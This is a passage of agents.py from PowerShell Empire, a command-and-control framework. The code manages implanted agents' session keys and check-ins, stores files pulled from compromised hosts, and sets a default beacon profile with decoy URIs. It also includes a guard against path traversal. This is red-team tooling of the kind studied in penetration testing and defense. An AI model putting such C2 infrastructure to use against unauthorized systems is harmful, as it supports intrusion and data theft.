Codebase list powershell-empire / f28d794d-d476-4659-aae1-9e0aaf3f0ea4/upstream lib / common / agents.py
f28d794d-d476-4659-aae1-9e0aaf3f0ea4/upstream

Tree @f28d794d-d476-4659-aae1-9e0aaf3f0ea4/upstream (Download .tar.gz)

agents.py @f28d794d-d476-4659-aae1-9e0aaf3f0ea4/upstreamraw · history · blame

   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
"""

Main agent handling functionality for Empire.

The Agents() class in instantiated in ./empire.py by the main menu and includes:

    get_db_connection()         - returns the empire.py:mainMenu database connection object
    is_agent_present()          - returns True if an agent is present in the self.agents cache
    add_agent()                 - adds an agent to the self.agents cache and the backend database
    remove_agent_db()           - removes an agent from the self.agents cache and the backend database
    is_ip_allowed()             - checks if a supplied IP is allowed as per the whitelist/blacklist
    save_file()                 - saves a file download for an agent to the appropriately constructed path.
    save_module_file()          - saves a module output file to the appropriate path
    save_agent_log()            - saves the agent console output to the agent's log file
    is_agent_elevated()         - checks whether a specific sessionID is currently elevated
    get_agents_db()             - returns all active agents from the database
    get_agent_names_db()        - returns all names of active agents from the database
    get_agent_ids_db()          - returns all IDs of active agents from the database
    get_agent_db()              - returns complete information for the specified agent from the database
    get_agent_nonce_db()        - returns the nonce for this sessionID
    get_language_db()           - returns the language used by this agent
    get_language_version_db()   - returns the language version used by this agent
    get_agent_session_key_db()  - returns the AES session key from the database for a sessionID
    get_agent_results_db()      - returns agent results from the backend database
    get_agent_id_db()           - returns an agent sessionID based on the name
    get_agent_name_db()         - returns an agent name based on sessionID
    get_agent_hostname_db()     - returns an agent's hostname based on sessionID
    get_agent_os_db()           - returns an agent's operating system details based on sessionID
    get_agent_functions()       - returns the tab-completable functions for an agent from the cache
    get_agent_functions_db()    - returns the tab-completable functions for an agent from the database
    get_agents_for_listener()   - returns all agent objects linked to a given listener name
    get_agent_names_listener_db()-returns all agent names linked to a given listener name
    get_autoruns_db()           - returns any global script autoruns
    update_agent_results_db()   - updates agent results in the database
    update_agent_sysinfo_db()   - updates agent system information in the database
    update_agent_lastseen_db()  - updates the agent's last seen timestamp in the database
    update_agent_listener_db()  - updates the agent's listener name in the database
    rename_agent()              - renames an agent
    set_agent_field_db()        - sets field:value for a particular sessionID in the database.
    set_agent_functions_db()    - sets the tab-completable functions for the agent in the database
    set_autoruns_db()           - sets the global script autorun in the config in the database
    clear_autoruns_db()         - clears the currently set global script autoruns in the config in the database
    add_agent_task_db()         - adds a task to the specified agent's buffer in the database
    get_agent_tasks_db()        - retrieves tasks for our agent from the database
    get_agent_tasks_listener_db()- retrieves tasks for our agent from the database keyed by listener name
    clear_agent_tasks_db()      - clear out one (or all) agent tasks in the database
    handle_agent_staging()      - handles agent staging neogotiation
    handle_agent_data()         - takes raw agent data and processes it appropriately.
    handle_agent_request()      - return any encrypted tasks for the particular agent
    handle_agent_response()     - parses agent raw replies into structures
    process_agent_packet()      - processes agent reply structures appropriately

handle_agent_data() is the main function that should be used by external listener modules

Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners.

"""
from __future__ import absolute_import
from __future__ import print_function

import sqlite3
import json
import os
import string
import threading
from builtins import object
# -*- encoding: utf-8 -*-
from builtins import str
from datetime import datetime, timezone

from pydispatch import dispatcher
from zlib_wrapper import decompress

# Empire imports
from . import encryption
from . import events
from . import helpers
from . import messages
from . import packets


class Agents(object):
    """
    Main class that contains agent handling functionality, including key
    negotiation in process_get() and process_post().
    """
    def __init__(self, MainMenu, args=None):

        # pull out the controller objects
        self.mainMenu = MainMenu
        self.installPath = self.mainMenu.installPath
        self.args = args

        # internal agent dictionary for the client's session key, funcions, and URI sets
        #   this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
        #   self.agents[sessionID] = {  'sessionKey' : clientSessionKey,
        #                               'functions' : [tab-completable function names for a script-import]
        #                            }
        self.agents = {}

        # used to protect self.agents and self.mainMenu.conn during threaded listener access
        self.lock = threading.Lock()

        # reinitialize any agents that already exist in the database
        dbAgents = self.get_agents_db()
        for agent in dbAgents:
            agentInfo = {'sessionKey' : agent['session_key'], 'functions' : agent['functions']}
            self.agents[agent['session_id']] = agentInfo

        # pull out common configs from the main menu object in empire.py
        self.ipWhiteList = self.mainMenu.ipWhiteList
        self.ipBlackList = self.mainMenu.ipBlackList


    def get_db_connection(self):
        """
        Returns the
        """
        self.lock.acquire()
        self.mainMenu.conn.row_factory = None
        self.lock.release()
        return self.mainMenu.conn


    ###############################################################
    #
    # Misc agent methods
    #
    ###############################################################

    def is_agent_present(self, sessionID):
        """
        Checks if a given sessionID corresponds to an active agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        return sessionID in self.agents


    def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit, sessionKey=None, nonce='', listener='', language=''):
        """
        Add an agent to the internal cache and database.
        """

        currentTime = helpers.getutcnow()
        checkinTime = currentTime
        lastSeenTime = currentTime

        # generate a new key for this agent if one wasn't supplied
        if not sessionKey:
            sessionKey = encryption.generate_aes_key()

        if not profile or profile == '':
            profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"

        conn = self.get_db_connection()

        try:
            self.lock.acquire()
            cur = conn.cursor()
            # add the agent
            cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language))
            cur.close()

            # dispatch this event
            message = "[*] New agent {} checked in".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message,
                'timestamp': checkinTime.isoformat(),
                'event_type': 'checkin'
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # initialize the tasking/result buffers along with the client session key
            self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []}
        finally:
            self.lock.release()

    def get_agent_for_socket(self, session_id):
        agent = self.get_agent_db(session_id)

        lastseen_time = datetime.fromisoformat(agent['lastseen_time']).astimezone(timezone.utc)
        stale = helpers.is_stale(lastseen_time, agent['delay'], agent['jitter'])
        agent['stale'] = stale

        if isinstance(agent['session_key'], bytes):
            agent['session_key'] = agent['session_key'].decode('latin-1').encode('utf-8')

        return agent

    def remove_agent_db(self, sessionID):
        """
        Remove an agent to the internal cache and database.
        """

        conn = self.get_db_connection()

        try:
            if sessionID == '%' or sessionID.lower() == 'all':
                sessionID = '%'
                self.lock.acquire()
                self.agents = {}
            else:
                # see if we were passed a name instead of an ID
                nameid = self.get_agent_id_db(sessionID)
                if nameid:
                    sessionID = nameid

                self.lock.acquire()
                # remove the agent from the internal cache
                self.agents.pop(sessionID, None)

            # remove the agent from the database
            cur = conn.cursor()
            cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
            cur.close()

            # dispatch this event
            message = "[*] Agent {} deleted".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))
        finally:
            self.lock.release()


    def is_ip_allowed(self, ip_address):
        """
        Check if the ip_address meshes with the whitelist/blacklist, if set.
        """

        self.lock.acquire()
        if self.ipBlackList:
            if self.ipWhiteList:
                results = ip_address in self.ipWhiteList and ip_address not in self.ipBlackList
                self.lock.release()
                return results
            else:
                results = ip_address not in self.ipBlackList
                self.lock.release()
                return results
        if self.ipWhiteList:
            results = ip_address in self.ipWhiteList
            self.lock.release()
            return results
        else:
            self.lock.release()
            return True


    def save_file(self, sessionID, path, data, filesize, append=False):
        """
        Save a file download for an agent to the appropriately constructed path.
        """
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        lang = self.get_language_db(sessionID)
        parts = path.split("\\")

        # construct the appropriate save path
        save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
        filename = os.path.basename(parts[-1])

        try:
            self.lock.acquire()
            # fix for 'skywalker' exploit by @zeroSteiner
            safePath = os.path.abspath("%sdownloads/" % self.installPath)
            if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
                message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                return

            # make the recursive directory structure if it doesn't already exist
            if not os.path.exists(save_path):
                os.makedirs(save_path)

            # overwrite an existing file
            if not append:
                f = open("%s/%s" % (save_path, filename), 'wb')
            else:
                # otherwise append
                f = open("%s/%s" % (save_path, filename), 'ab')

            if "python" in lang:
                print(helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green"))
                d = decompress.decompress()
                dec_data = d.dec_data(data)
                print(helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green"))
                if not dec_data['crc32_check']:
                    message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(nameid, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(nameid))
                data = dec_data['data']

            f.write(data)
            f.close()
        finally:
            self.lock.release()

        percent = round(int(os.path.getsize("%s/%s" % (save_path, filename)))/int(filesize)*100,2)

        # notify everyone that the file was downloaded
        message = "[+] Part of file {} from {} saved [{}%] to {}".format(filename, sessionID, percent, save_path)
        signal = json.dumps({
            'print': True,
            'message': message
        })
        dispatcher.send(signal, sender="agents/{}".format(sessionID))

    def save_module_file(self, sessionID, path, data):
        """
        Save a module output file to the appropriate path.
        """

        sessionID = self.get_agent_name_db(sessionID)
        lang = self.get_language_db(sessionID)
        parts = path.split("/")

        # construct the appropriate save path
        save_path = "%s/downloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
        filename = parts[-1]

        # decompress data if coming from a python agent:
        if "python" in lang:
            print(helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green"))
            d = decompress.decompress()
            dec_data = d.dec_data(data)
            print(helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green"))
            if not dec_data['crc32_check']:
                message = "[!] WARNING: File agent {} failed crc32 check during decompression!\n[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!".format(sessionID, dec_data['header_crc32'], dec_data['dec_crc32'], dec_data['crc32_check'])
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
            data = dec_data['data']

        try:
            self.lock.acquire()
            # fix for 'skywalker' exploit by @zeroSteiner
            safePath = os.path.abspath("%s/downloads/" % self.installPath)
            if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
                message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                return

            # make the recursive directory structure if it doesn't already exist
            if not os.path.exists(save_path):
                os.makedirs(save_path)

            # save the file out
            f = open("%s/%s" % (save_path, filename), 'wb')

            f.write(data)
            f.close()
        finally:
            self.lock.release()

        # notify everyone that the file was downloaded
        message = "\n[+] File {} from {} saved".format(path, sessionID)
        signal = json.dumps({
            'print': True,
            'message': message
        })
        dispatcher.send(signal, sender="agents/{}".format(sessionID))

        return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename)


    def save_agent_log(self, sessionID, data):
        """
        Save the agent console output to the agent's log file.
        """
        if isinstance(data, bytes):
           data = data.decode('UTF-8')
        name = self.get_agent_name_db(sessionID)
        save_path = self.installPath + "/downloads/" + str(name) + "/"

        try:
            self.lock.acquire()
            # make the recursive directory structure if it doesn't already exist
            if not os.path.exists(save_path):
                os.makedirs(save_path)

            current_time = helpers.get_datetime()

            f = open("%s/agent.log" % (save_path), 'a')
            f.write("\n" + current_time + " : " + "\n")
            f.write(data + "\n")
            f.close()
        finally:
            self.lock.release()


    ###############################################################
    #
    # Methods to get information from agent fields.
    #
    ###############################################################

    def is_agent_elevated(self, sessionID):
        """
        Check whether a specific sessionID is currently elevated.

        This means root for OS X/Linux and high integrity for Windows.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID])
            elevated = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if elevated and elevated != None and elevated != ():
            return int(elevated[0]) == 1
        else:
            return False


    def get_agents_db(self):
        """
        Return all active agents from the database.
        """
        conn = self.get_db_connection()
        results = None
        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT * FROM agents")
            results = cur.fetchall()
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return results


    def get_agent_names_db(self):
        """
        Return all names of active agents from the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT name FROM agents")
            results = cur.fetchall()
            cur.close()
        finally:
            self.lock.release()

        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results


    def get_agent_ids_db(self):
        """
        Return all IDs of active agents from the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_id FROM agents")
            results = cur.fetchall()
            cur.close()
        finally:
            self.lock.release()

        # make sure names all ascii encoded
        results = [str(r[0]).encode('ascii', 'ignore') for r in results if r]
        return results


    def get_agent_db(self, sessionID):
        """
        Return complete information for the specified agent from the database.
        """

        conn = self.get_db_connection()

        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT * FROM agents WHERE session_id = ? OR name = ?", [sessionID, sessionID])
            agent = cur.fetchone()
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return agent


    def get_agent_nonce_db(self, sessionID):
        """
        Return the nonce for this sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT nonce FROM agents WHERE session_id=?", [sessionID])
            nonce = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if nonce and nonce is not None:
            if type(nonce) is str:
                return nonce
            else:
                return nonce[0]


    def get_language_db(self, sessionID):
        """
        Return the language used by this agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT language FROM agents WHERE session_id=?", [sessionID])
            language = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if language is not None:
            if isinstance(language, str):
                return language
            else:
                return language[0]


    def get_language_version_db(self, sessionID):
        """
        Return the language version used by this agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT language_version FROM agents WHERE session_id=?", [sessionID])
            language = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if language is not None:
            if isinstance(language, str):
                return language
            else:
                return language[0]


    def get_agent_session_key_db(self, sessionID):
        """
        Return AES session key from the database for this sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_key FROM agents WHERE session_id = ? OR name = ?", [sessionID, sessionID])
            sessionKey = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if sessionKey is not None:
            if isinstance(sessionKey, str):
                return sessionKey
            else:
                return sessionKey[0]


    def get_agent_results_db(self, sessionID):
        """
        Return agent results from the backend database.
        """
        agent_name = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print(helpers.color("[!] Agent %s not active." % (agent_name)))
        else:
            conn = self.get_db_connection()
            try:
                self.lock.acquire()
                cur = conn.cursor()
                cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID])
                results = cur.fetchone()

